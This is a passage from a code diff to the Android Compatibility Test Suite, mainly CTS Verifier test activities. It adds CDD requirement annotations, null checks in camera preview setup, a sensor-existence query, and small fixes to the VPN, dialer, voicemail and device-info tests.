+            Log.e(TAG, "Could not set preview display", t);
             Toast.makeText(this, t.getMessage(), Toast.LENGTH_LONG).show();
             return;
         }
@@ -423,8 +423,14 @@
 
         // Either use chosen preview size for current camera or automatically
         // choose preview size based on view dimensions.
-        Size selectedPreviewSize = (mPreviewSizes != null) ? mPreviewSizes[mSelectedResolution.cameraId] :
-            getBestPreviewSize(mSurfaceSize.width, mSurfaceSize.height, params);
+        Size selectedPreviewSize = null;
+        if (mPreviewSizes != null) {
+            selectedPreviewSize = mPreviewSizes[mSelectedResolution.cameraId];
+        } else if (mSurfaceSize != null) {
+            selectedPreviewSize = getBestPreviewSize(
+                    mSurfaceSize.width, mSurfaceSize.height, params);
+        }
+
         if (selectedPreviewSize != null) {
             params.setPreviewSize(selectedPreviewSize.width, selectedPreviewSize.height);
             mCamera.setParameters(params);
@@ -432,7 +438,10 @@
         }
 
         if (startPreviewAfterInit) {
-          startPreview();
+            if (selectedPreviewSize == null) {
+                Log.w(TAG, "Preview started without setting preview size");
+            }
+            startPreview();
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 697ad93..bd9ebda 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -327,7 +327,8 @@
                 // Initialize memory quota on this device
                 for (String camId : devices) {
                     CameraCharacteristics chars =  mCameraManager.getCameraCharacteristics(camId);
-                    Size maxYuvSize = ItsUtils.getYuvOutputSizes(chars)[0];
+                    Size maxYuvSize = ItsUtils.getMaxOutputSize(
+                            chars, ImageFormat.YUV_420_888);
                     // 4 bytes per pixel for RGBA8888 Bitmap and at least 3 Bitmaps per CDD
                     int quota = maxYuvSize.getWidth() * maxYuvSize.getHeight() * 4 * 3;
                     if (quota > mMemoryQuota) {
@@ -610,6 +611,8 @@
                     doGetProps();
                 } else if ("startSensorEvents".equals(cmdObj.getString("cmdName"))) {
                     doStartSensorEvents();
+                } else if ("checkSensorExistence".equals(cmdObj.getString("cmdName"))) {
+                    doCheckSensorExistence();
                 } else if ("getSensorEvents".equals(cmdObj.getString("cmdName"))) {
                     doGetSensorEvents();
                 } else if ("do3A".equals(cmdObj.getString("cmdName"))) {
@@ -813,6 +816,18 @@
         mSocketRunnableObj.sendResponse("sensorEventsStarted", "");
     }
 
+    private void doCheckSensorExistence() throws ItsException {
+        try {
+            JSONObject obj = new JSONObject();
+            obj.put("accel", mAccelSensor != null);
+            obj.put("mag", mMagSensor != null);
+            obj.put("gyro", mGyroSensor != null);
+            mSocketRunnableObj.sendResponse("sensorExistence", null, obj, null);
+        } catch (org.json.JSONException e) {
+            throw new ItsException("JSON error: ", e);
+        }
+    }
+
     private void doGetSensorEvents() throws ItsException {
         synchronized(mEventLock) {
             mSocketRunnableObj.sendResponse(mEvents);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
index 49b34fd..d753d6a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
@@ -465,6 +465,10 @@
                 int viewHeight = mFormatView.getHeight();
                 int newWidth, newHeight;
 
+                if (viewWidth == 0 || viewHeight == 0){
+                    return;
+                }
+
                 if (mPreviewOrientations.get(mNextPreviewOrientation) == 0
                     || mPreviewOrientations.get(mNextPreviewOrientation) == 180) {
                     // make preview width same as output image width,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
index 2661d42..95c99b7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
@@ -31,10 +31,13 @@
 
 import java.util.List;
 
+import com.android.compatibility.common.util.CddTest;
+
 
 /**
  * Test that checks that the {@link CompanionDeviceManager} API is functional
  */
+@CddTest(requirement="3.16/C-1-2,C-1-3,H-1-1")
 public class CompanionDeviceTestActivity extends PassFailButtons.Activity {
 
     private static final String LOG_TAG = "CompanionDeviceTestActi";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
index bc5cdbc..a7f0a95 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/dialer/DialerImplementsTelecomIntentsActivity.java
@@ -17,12 +17,15 @@
 package com.android.cts.verifier.dialer;
 
 import android.content.Intent;
+import android.content.Context;
 import android.os.Bundle;
 import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
 import android.view.View;
 import android.widget.Button;
 import android.widget.CheckBox;
 import android.widget.CompoundButton;
+
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -37,6 +40,7 @@
   private CheckBox mLaunchCallingAccountsSettingsCheckBox;
   private Button mLaunchAccessibilitySettingsButton;
   private CheckBox mLaunchAccessibilitySettingsCheckBox;
+  private TelephonyManager mTelephonyManager;
 
   @Override
   protected void onCreate(Bundle savedInstanceState) {
@@ -50,6 +54,8 @@
     setPassFailButtonClickListeners();
     getPassButton().setEnabled(false);
 
+    mTelephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
+
     mLaunchCallSettingsCheckBox = findViewById(R.id.dialer_telecom_intents_call_settings_check_box);
     mLaunchShortSmsAnswerCheckBox = findViewById(R.id.dialer_telecom_intents_short_sms_check_box);
     mLaunchCallingAccountsSettingsCheckBox =
@@ -85,6 +91,11 @@
     mLaunchAccessibilitySettingsButton.setOnClickListener(
         (View unused) ->
             startActivity(new Intent(TelecomManager.ACTION_SHOW_CALL_ACCESSIBILITY_SETTINGS)));
+    if (!mTelephonyManager.isHearingAidCompatibilitySupported() && !mTelephonyManager.isTtyModeSupported()) {
+        mLaunchAccessibilitySettingsButton.setVisibility(View.INVISIBLE);
+        mLaunchAccessibilitySettingsCheckBox.setVisibility(View.INVISIBLE);
+        mLaunchAccessibilitySettingsCheckBox.setChecked(true);
+    }
   }
 
   private void onCheckedChangeListener() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
index 395eac0..81e1e9f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
@@ -277,6 +277,7 @@
         boolean hasTelephony = false;
         boolean hasBluetooth = false;
         boolean hasIllegalFeature = false;
+        boolean hasTelevision = false;
 
         // get list of all features device thinks it has, & store in a HashMap
         // for fast lookups
@@ -343,6 +344,8 @@
         if (apiVersion >= Build.VERSION_CODES.ECLAIR_MR1) {
             Collections.addAll(features, ALL_ECLAIR_FEATURES);
         }
+
+        hasTelevision = getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION);
         for (Feature f : features) {
             HashMap<String, Object> row = new HashMap<String, Object>();
             listViewData.add(row);
@@ -358,6 +361,9 @@
                 // it's required, but device doesn't report it. Boo, set the
                 // bogus icon
                 statusIcon = R.drawable.fs_error;
+                if (hasTelevision && PackageManager.FEATURE_LOCATION.equals(f.name)) {
+                    statusIcon = R.drawable.fs_indeterminate;
+                }
             } else {
                 // device doesn't report it, but it's not req'd, so can't tell
                 // if there's a problem
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index 4909497..c779a2a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,6 +19,8 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Typeface;
@@ -41,6 +43,7 @@
 /**
  * CTS Verifier case for verifying GPS.
  */
+@CddTest(requirement="7.3.3/C-1-1")
 public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
     private LocationManager mLocationManager;
     private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 15808a7..7e59e98 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -31,6 +31,8 @@
 import android.view.View.OnClickListener;
 import android.widget.Toast;
 
+import com.android.compatibility.common.util.CddTest;
+
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.DialogTestListActivity;
 import com.android.cts.verifier.R;
@@ -51,6 +53,7 @@
  * The first two verifications are performed automatically, by interacting with profile owner using
  * cross-profile intents, while the last two are carried out manually by the user.
  */
+@CddTest(requirement="3.9/H-1-1,3.9.1.2/C-1-1,C-1-2,C-1-3,3.9.2/C-1-1,C-1-3,C-1-4,C-1-5,C-1-6,C-1-7,C-1-10")
 public class ByodFlowTestActivity extends DialogTestListActivity {
 
     private static final String TAG = "ByodFlowTestActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
index 496bbe4..36dfb5b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
@@ -42,6 +42,8 @@
 import android.widget.ScrollView;
 import android.widget.TextView;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
 import java.io.IOException;
@@ -74,6 +76,7 @@
  *     [4] The screen is put to sleep if this feature supported.
  *     [5] After two minutes, another IPv6 connectivity test is performed.
  */
+@CddTest(requirement="7.4.5/C-0-1,C-0-2,C-0-3,C-0-4")
 public class ConnectivityBackgroundTestActivity extends PassFailButtons.Activity {
 
     private static final String TAG = ConnectivityBackgroundTestActivity.class.getSimpleName();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 269f4fd..7f3bfc7 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -32,6 +32,8 @@
 
 import com.android.cts.verifier.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.json.JSONException;
 import org.json.JSONObject;
 
@@ -45,6 +47,7 @@
 
 import static junit.framework.Assert.assertNotNull;
 
+@CddTest(requirement="3.8.3.2/C-1-1,C-1-2,C-2-1")
 public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
         implements Runnable {
     private static final String TAG = "NoListenerVerifier";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
index a6e5f98..1517641 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
@@ -24,9 +24,12 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import com.android.compatibility.common.util.CddTest;
+
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+@CddTest(requirement="3.8.8/C-1-2")
 public class ScreenPinningTestActivity extends PassFailButtons.Activity {
 
     private static final String TAG = "ScreenPinningTestActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java
index a4f63ad..a3b4441 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/CANotifyOnBootActivity.java
@@ -13,11 +13,14 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 
+@CddTest(requirement="9.8.4/C-0-3")
 public class CANotifyOnBootActivity extends PassFailButtons.Activity {
 
     private static final String TAG = CANotifyOnBootActivity.class.getSimpleName();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
index 764ecb3..3f63489 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/FingerprintBoundKeysTest.java
@@ -41,6 +41,8 @@
 import android.widget.Button;
 import android.widget.Toast;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.IOException;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.InvalidKeyException;
@@ -58,6 +60,7 @@
 import javax.crypto.NoSuchPaddingException;
 import javax.crypto.SecretKey;
 
+@CddTest(requirement="9.11.1/C-2-1,C-2-2")
 public class FingerprintBoundKeysTest extends PassFailButtons.Activity {
     private static final boolean DEBUG = false;
     private static final String TAG = "FingerprintBoundKeysTest";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java
index 863488b..450320b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/ScreenLockBoundKeysTest.java
@@ -33,6 +33,8 @@
 import android.widget.Button;
 import android.widget.Toast;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.IOException;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.InvalidKeyException;
@@ -50,6 +52,7 @@
 import javax.crypto.NoSuchPaddingException;
 import javax.crypto.SecretKey;
 
+@CddTest(requirement="9.11.1/C-2-1,C-2-2")
 public class ScreenLockBoundKeysTest extends PassFailButtons.Activity {
 
     /** Alias for our key in the Android Key Store. */
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index e5a262a..2d2aa94 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -11,6 +11,8 @@
 import com.android.cts.verifier.sensors.base.SensorCtsVerifierTestActivity;
 import com.android.cts.verifier.sensors.helpers.SensorTestScreenManipulator;
 
+import com.android.compatibility.common.util.CddTest;
+
 import android.app.AlarmManager;
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
@@ -122,6 +124,7 @@
             }
         };
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAPWakeUpWhenReportLatencyExpiresAccel() throws Throwable {
             Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER, true);
             if (wakeUpSensor == null) {
@@ -130,6 +133,7 @@
             return runAPWakeUpWhenReportLatencyExpires(wakeUpSensor);
         }
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAPWakeUpWhenReportLatencyExpiresGyro() throws Throwable {
             Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE, true);
             if (wakeUpSensor == null) {
@@ -138,6 +142,7 @@
             return runAPWakeUpWhenReportLatencyExpires(wakeUpSensor);
         }
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAPWakeUpWhenReportLatencyExpiresMag() throws Throwable {
             Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD,true);
             if (wakeUpSensor == null) {
@@ -146,6 +151,7 @@
             return runAPWakeUpWhenReportLatencyExpires(wakeUpSensor);
         }
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAPWakeUpWhenFIFOFullAccel() throws Throwable {
             Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER, true);
             if (wakeUpSensor == null) {
@@ -154,6 +160,7 @@
             return runAPWakeUpWhenFIFOFull(wakeUpSensor);
         }
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAPWakeUpWhenFIFOFullGyro() throws Throwable {
             Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE, true);
             if (wakeUpSensor == null) {
@@ -162,6 +169,7 @@
             return runAPWakeUpWhenFIFOFull(wakeUpSensor);
         }
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAPWakeUpWhenFIFOFullMag() throws Throwable {
             Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD,true);
             if (wakeUpSensor == null) {
@@ -170,6 +178,7 @@
             return runAPWakeUpWhenFIFOFull(wakeUpSensor);
         }
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAccelBatchingInAPSuspendLargeReportLatency() throws Throwable {
             Sensor accel = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
             if (accel == null) {
@@ -178,6 +187,7 @@
             return runAPWakeUpByAlarmNonWakeSensor(accel, (int)TimeUnit.SECONDS.toMicros(1000));
         }
 
+        @CddTest(requirement="7.3/C-1-8")
         public String testAccelBatchingInAPSuspendZeroReportLatency() throws Throwable {
             Sensor accel = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
            if (accel == null) {
@@ -187,18 +197,9 @@
         }
 
         /**
-         * Verify that each continuous sensor is using the correct
-         * clock source (CLOCK_BOOTTIME) for timestamps.
+         * Verify that the device is able to suspend
          */
-        public String testTimestampClockSource() throws Throwable {
-            String string = null;
-            boolean error_occurred = false;
-            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
-            if (sensorList == null) {
-                throw new SensorTestStateNotSupportedException(
-                    "Sensors are not available in the system.");
-            }
-
+        public void verifyDeviceCanSuspend() throws Throwable {
             // Make sure clocks are different (i.e. kernel has suspended at least once)
             // so that we can determine if sensors are using correct clocksource timestamp
             final int MAX_SLEEP_ATTEMPTS = 10;
@@ -238,6 +239,22 @@
                 mDeviceSuspendLock.acquire();
             }
             mAlarmManager.cancel(mPendingIntent);
+        }
+
+        /**
+         * Verify that each continuous sensor is using the correct
+         * clock source (CLOCK_BOOTTIME) for timestamps.
+         */
+        public String testTimestampClockSource() throws Throwable {
+            String string = null;
+            boolean error_occurred = false;
+            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
+            if (sensorList == null) {
+                throw new SensorTestStateNotSupportedException(
+                    "Sensors are not available in the system.");
+            }
+
+            boolean needToVerifySuspend = true;
 
             for (Sensor sensor : sensorList) {
                 if (sensor.getReportingMode() != Sensor.REPORTING_MODE_CONTINUOUS) {
@@ -248,6 +265,12 @@
                     Log.i(TAG, "testTimestampClockSource skipping vendor specific sensor: '" + sensor.getName());
                     continue;
                 }
+
+                if (needToVerifySuspend) {
+                    verifyDeviceCanSuspend();
+                    needToVerifySuspend = false;
+                }
+
                 try {
                     string = runVerifySensorTimestampClockbase(sensor, false);
                     if (string != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
index 9ca5f2c..157ca3d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Activities/TestActivity.java
@@ -39,6 +39,8 @@
 import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseProvider;
 import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
 
+import com.android.compatibility.common.util.CddTest;
+
 import android.content.Intent;
 import android.content.pm.ActivityInfo;
 import android.content.res.Configuration;
@@ -62,6 +64,7 @@
  * Main Activity for 6DOF tests Handles calls between UI fragments and the Data fragment. The
  * controller in the MVC structure.
  */
+@CddTest(requirement="7.3.12/C-1-1")
 public class TestActivity extends Activity implements BaseUiListener, AccuracyListener,
         RobustnessListener, ComplexMovementListener {
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
index 2b7201a..0866524 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
@@ -25,10 +25,13 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Tests that a new {@link android.telecom.ConnectionService} be added and its associated
  * {@link android.telecom.PhoneAccount} enabled using the calling accounts settings screen.
  */
+@CddTest(requirement="3.2.3.5/C-2-3")
 public class EnablePhoneAccountTestActivity extends PassFailButtons.Activity {
 
     private Button mRegisterPhoneAccount;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
index 3cf34fa..b54637b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailBroadcastActivity.java
@@ -29,6 +29,8 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.voicemail.VoicemailBroadcastReceiver.ReceivedListener;
 
+import android.view.View.OnClickListener;
+import android.widget.Button;
 /**
  * This test ask the tester to set the CTS verifier as the default dialer and leave a voicemail. The
  * test will pass if the verifier is able to receive a broadcast for the incoming voicemail. This
@@ -38,7 +40,9 @@
 public class VoicemailBroadcastActivity extends PassFailButtons.Activity {
 
     private ImageView mLeaveVoicemailImage;
+    private ImageView mRestoreDefaultDialerImage;
     private TextView mLeaveVoicemailText;
+    private Button mNotApplicableButton;
 
     private DefaultDialerChanger mDefaultDialerChanger;
 
@@ -53,10 +57,23 @@
         getPassButton().setEnabled(false);
 
         mLeaveVoicemailImage = (ImageView) findViewById(R.id.leave_voicemail_image);
+        mRestoreDefaultDialerImage = (ImageView) findViewById(R.id.restore_default_dialer_image);
         mLeaveVoicemailText = (TextView) findViewById(R.id.leave_voicemail_text);
 
         mDefaultDialerChanger = new DefaultDialerChanger(this);
 
+        mNotApplicableButton = findViewById(R.id.call_settings_check_not_applicable);
+        mNotApplicableButton.setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        getPassButton().setEnabled(true);
+                        mLeaveVoicemailImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+                        mRestoreDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_warning));
+                    }
+                }
+        );
+
         VoicemailBroadcastReceiver.setListener(new ReceivedListener() {
             @Override
             public void onReceived() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
index 9c60737..2f89ec6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
@@ -31,6 +31,8 @@
 import android.widget.TextView;
 
 
+import com.android.compatibility.common.util.CddTest;
+
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -41,6 +43,7 @@
 import java.util.concurrent.ScheduledExecutorService;
 import java.util.concurrent.TimeUnit;
 
+@CddTest(requirement="7.9.1/H-2-1")
 public class VrListenerVerifierActivity extends PassFailButtons.Activity {
 
     private static final String TAG = "VrListenerActivity";
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
old mode 100644
new mode 100755
index 9f3f2e7..e25cb91
--- a/apps/VpnApp/api23/Android.mk
+++ b/apps/VpnApp/api23/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
old mode 100644
new mode 100755
index fc2761c..ec36333
--- a/apps/VpnApp/api24/Android.mk
+++ b/apps/VpnApp/api24/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
old mode 100644
new mode 100755
index a8db2d2..0431bef
--- a/apps/VpnApp/latest/Android.mk
+++ b/apps/VpnApp/latest/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
old mode 100644
new mode 100755
index cc1bfec..06731f8
--- a/apps/VpnApp/notalwayson/Android.mk
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -26,7 +26,8 @@
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
-LOCAL_SDK_VERSION := current
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
old mode 100644
new mode 100755
index edd9de6..73afeaf
--- a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -29,6 +29,7 @@
 import android.os.UserManager;
 import android.text.TextUtils;
 import android.util.Log;
+import android.os.SystemProperties;
 
 import java.io.IOException;
 import java.net.InetAddress;
@@ -142,6 +143,19 @@
             }
         }
 
+        if (allowedArray == null &&
+            (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
+            || SystemProperties.getInt("service.adb.tcp.port", -1) > -1)) {
+            try {
+                // If adb TCP port opened the test may be running by adb over network.
+                // Add com.android.shell application into blacklist to exclude adb socket
+                // for VPN tests.
+                builder.addDisallowedApplication("com.android.shell");
+            } catch(NameNotFoundException e) {
+                Log.w(TAG, "com.android.shell not found");
+            }
+        }
+
         builder.setMtu(MTU);
         builder.setBlocking(true);
         builder.setSession(TAG);
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index e2459d0..16f7610 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -32,6 +32,8 @@
     private static final String VERSION_NAME = "version_name";
     private static final String SYSTEM_PRIV = "system_priv";
     private static final String PRIV_APP_DIR = "/system/priv-app";
+    private static final String MIN_SDK = "min_sdk";
+    private static final String TARGET_SDK = "target_sdk";
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -45,6 +47,9 @@
             if (pkg.applicationInfo != null) {
                 String dir = pkg.applicationInfo.sourceDir;
                 store.addResult(SYSTEM_PRIV, dir != null && dir.startsWith(PRIV_APP_DIR));
+
+                store.addResult(MIN_SDK, pkg.applicationInfo.minSdkVersion);
+                store.addResult(TARGET_SDK, pkg.applicationInfo.targetSdkVersion);
             }
             store.endGroup();
         }
